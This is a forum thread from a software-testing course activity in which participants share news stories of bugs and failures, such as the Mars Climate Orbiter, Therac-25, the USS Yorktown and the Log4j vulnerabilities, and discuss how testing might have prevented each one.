Introduction:
To help highlight the value of testing, in the lesson, we shared a series of incidents that testing might have helped prevent. But there are many more out there!
For this activity, track down a bug, crash, leak or issue that was mentioned in the press (or elsewhere) and think about how testing might have helped prevent it.
Purpose:
Stories are a great way to explain to others how things work. By collecting your own stories you not only gain a deeper understanding of the value of testing but you also gain a great story to share with others when itâs your turn to explain the importance and role software testing has in software development.
Activity:
Search news sites to find one of the many software bugs, crashes and leaks stories shared. Alternatively, you can ask testers on The Club or on our Slack to hear their own stories on bugs that caused problems.
Once you have identified a story, analyse and research it to discover how testing might have helped then add this information to your portfolio and share it on this thread to compare with others.
The Mars Climate Orbiter disintegrates in space (1998)
NASAâs $655-million robotic space probe plowed into Marsâs upper atmosphere at the wrong angle, burning up in the process. The problem? In the software that ran the ground computers the thrustersâ output was calculated in the wrong units (poundâseconds instead of newtonâseconds, as the NASAâLockheed contract had specified). Fortunately software programs for subsequent missions to Mars have gotten the measurements right.
Proper Testing could have definitely prevented this issue.
Looks like it was a case of misunderstood requirements which caused assumptions to be made!
This was the most interesting one I could find⌠A bug in the uber app led to notifications being pushed to a device even after logging out of the account on that device. This bug revealed a manâs affair to his wife, leading to a divorce and a lawsuit landing in Uberâs lap! Iâm pretty sure this could have been tested!
In August 2018, an exploit called Glueball was created that circumvented the software signing security feature in Windows 10 and thus enabled other malicious software to be installed unchallenged.
The story further goes to address how the issue was not addressed by Microsoft for over two years, even though they were aware of it, but that is out of scope for this exercise.
This is a security issue that damaged numerous systems. It could have been prevented by having the testers fully debug and secure the code signing software in Microsoft Windows 10.
Some of you may be familiar with The Risks Digest http://catless.ncl.ac.uk/risks/ . Itâs a forum on risks to the public in computers and related systems. So far, it has more than 45 years of submissions. Many relate to inadequate testing.
I recommend it to all testers. Hereâs an example from the most recent issue:
Tokyo Stock Market Halts Trading for a Day, Citing Glitch (NYTimes)
The exchangeâs operator said it planned to resume trading on Friday after a technical problem left investors unable to place orders.
[From the NY Times] The glitch stemmed from a problem in the hardware that powers the exchange, said the Japan Exchange Group, the exchangeâs operator, during a news conference. The system failed to switch to a backup in response to the problem, a representative said.
âWe have created considerable difficulties for many market participants and investors, and for that I am profoundly sorry,â the companyâs president, Koichiro Miyahara, told reporters. âWe are considering every measure to prevent this from recurring.â
This exercise reminded me of one that âbuggedâ me for a while. An early Windows 10 issue caused my PC to automatically restart without warning when an update came out. As I use the PC to write novels, this consistently resulted in me losing passages of prose!
Thought it was my PC until my brother said he was experiencing the same thing and eventually a Windows 10 update fixed the issue and hasnât happened since.
More thorough testing would have considered the end user during the delivery of updates.
I will reply with not software but with a product, feature failure. I remember a few months back, a big smartphone company included in their camera system an x-ray one, which after the release of the product people started using it to point out tricky uses of it.
I believe that if they had a better test team to check thoroughly the product and the uses of it they could have prevented that.
Again is not a software bug but that was the most recent story I found and thought that somehow connects.
According to a U.S. Army report, a software problem contributed to the deaths of two soldiers in a training accident at Fort Drum. They were firing artillery shells, and were relying on the output of the Advanced Field Artillery Tactical Data System. But if you forget to enter the targetâs altitude, the system assumes a default of 0. (A Web site I found indicates that (part of) Ft. Drum is at 679 feet above sea level.) The report goes on to warn that soldiers should not depend exclusively on this one system, and should use other computers or manual calculations. Other factors in the incident include the state of training of some of the personnel doing the firing. [Source: AP] Steve Bellovin, http://www.research.att.com/~smb (me) http://www.wilyhacker.com (âFirewallsâ book)
This story is even worse because lives were lost. Proper testing in this case would save lives. After the testing they would have information based on which they could setup the software (examples; not entering altitude is invalid, minimal possible altitude, some kind of a warning when parameters indicate chance of near explosionâŚ)
This happened last year where Apple Pay had a major bug on iOS13. The bug appeared when users attempted to register their own card for using Apple Pay it saved a total strangerâs credit card information as well as general information like name and address.
In Finance sector, security flaws caused from bugs would be incredibly destructive to the business as to the entire industry. With my current knowledge on testing, i believe when updating their firmware over to iOS13, further thorough testing and exploration, leading from registering to actually paying would be needed.
Yes. We have good reason not to test in production environments. On the other handâŚ
Systems involving financial transactions cannot be tested end-to-end until they are integrated with their corresponding production systems. This may include small transactions using real systems for payment, reporting and billing. Meeting all the requirements in test systems will not demonstrate end-to-end functions.
Problem identified: Software glitch is F-35 fighter planes causes target detection problems.
A bug in the software for the F-35 fighter planes was identified. Whilst the planes were flying in formation the target detection system could not figure out whether there was just one target our multiple targets. The problem appeared to be that when in formation, the planes were detecting targets from varying angles and gave it âdouble visionâ at times. This could have had disastrous consequences.
Whilst it is possible that this issue could have only have been picked up during live tests, there may have been ways to avoid this in testing such as testing how the objects are picked up when multiple sensors are active on the same target. The fixes for this issue ranged from turning off some sensors or reducing the sensitivity so that two planes looking at the same target would not pick up two different targets.
USS Yorktown was a US Navy cruiser being used as a test bed for (then) new technology, its Smart Ship program.
âA systems administrator fed bad data into the shipâs Remote Database Manager, which caused a buffer overflow when the software tried to divide by zero. The overflow crashed computers on the LAN and caused the Yorktown to lose control of its propulsion system, Navy officials saidâ ref
The ship was left without control of its propulsion system, though could still access emergency power.
âThe Yorktownâs Standard Monitoring Control System administrator entered zero in the data field for the Remote Database Manager program, causing the buffer overflow, Navy officials said. Administrators are now aware of the problem of entering zero in the database and are trained to bypass a bad data field and change the value if such a problem occurs again, Navy officials said.â
This looks like a combination of issues, though largely due to the UI allowing potentially invalid value entry. This could have been found and fed back during development rather than during a naval exercise. Fortunately it occurred during an on-board testing phase.
The Therac-25 medical radiation therapy device was involved in several cases where massive overdoses of radiation were administered to patients in 1985-87, a side effect of the buggy software powering the device. A number of patients received up to 100 times the intended dose, and at least three of them died as a direct result of the radiation overdose.
Another radiation dosage error happened in Panama City in 2000, where therapy planning software from US company Multidata delivered different doses depending on the order in which data was entered. This resulted in massive overdoses for some patients, and at least five died. The number of deaths could potentially be much higher, but it is difficult to know how many of the 21 who died in the following years did so as a result of their cancer or ill effects from the radiation treatment.
System failures with the smart motorways.
This seems like huge potential for people to actually be injured or worse. This is due to the buggy software, from my research this is still ongoing as an issue
Three system failures in April meant that across hundreds of miles of motorway, the digital signs which inform drivers of speed limits or lane closures were left âunusableâ.
So this one is from Youtube, quite interesting I shall say:
"YouTubeâs counter before used a 32-bit integer, which is a unit used to represent data in computer architecture. This 32-bit integer determines the maximum possible views it could count was 2,147,483,647.
The Gangnam Style video exceeded the maximum value, and we got the below famous Gangnam Style YouTube bug.
Nowadays, YouTube uses a 64-bit integer for its video counter, which means videos have a maximum viewer count of 9.22 quintillion."
In this instance testing might have helped understand that this could have been a potential threat. It was not the first time a video became viral so this could have been accounted for in testing.
In February of 2020 a massive software error lead to 120 flights being cancelled. This was said to be due to multiple malfunctions, most notably with the flight information systems, which were constantly displaying delayed flight times rather than the correct information for passengers, and also the automated ticketing systems which were limiting use of electronic tickets. This seems like a scenario where further testing was needed before delivering these systems to the airport, as the failures made headlines affecting the value of the software and creating thousands of pounds of losses due to the flights missed.
3 different vulnerablilties discovered in Dec 2021:
CVE-2021-45105 : allows for a denial of service attack
CVE-2021-45046 : allows for remote code execution
CVE-2021-44228 : allows for remote code execution
Log4j is a logging library for the Java programming language that sees widespread usage.
Testing could have helped ensured that user input that is passed onto log4j doesnât result in unintended behavior.
Testing the library with malicious user input could have highlighted the potential for some of these issues beforehand, such as: allowing JNDI lookups in the user input, pointing to arbitrary servers, which could be malicious.
In February 2022, telephone operator A1 in Croatia has been attacked an around 200.000 users information were exposed. This is important because 1) in June 2020 A1 Austria was attacked too, and 2) tanager was behind hacking attack in Croatia.
What we can learn from these cases:
A1 had an attack related to data safety, they recommended actions, but obviously those actions werenât carried out since
A1 in Croatia in 2022 was again attacked and this time 14-year old tanager brake their security.
This all could be avoided if security was tested properly in 2020, and on regular basis, and if after the attack in 2020 A1 conducted strict rules, that are implemented, and their effect tested (also regularly).
below are two headlines about these cases:
OMG!
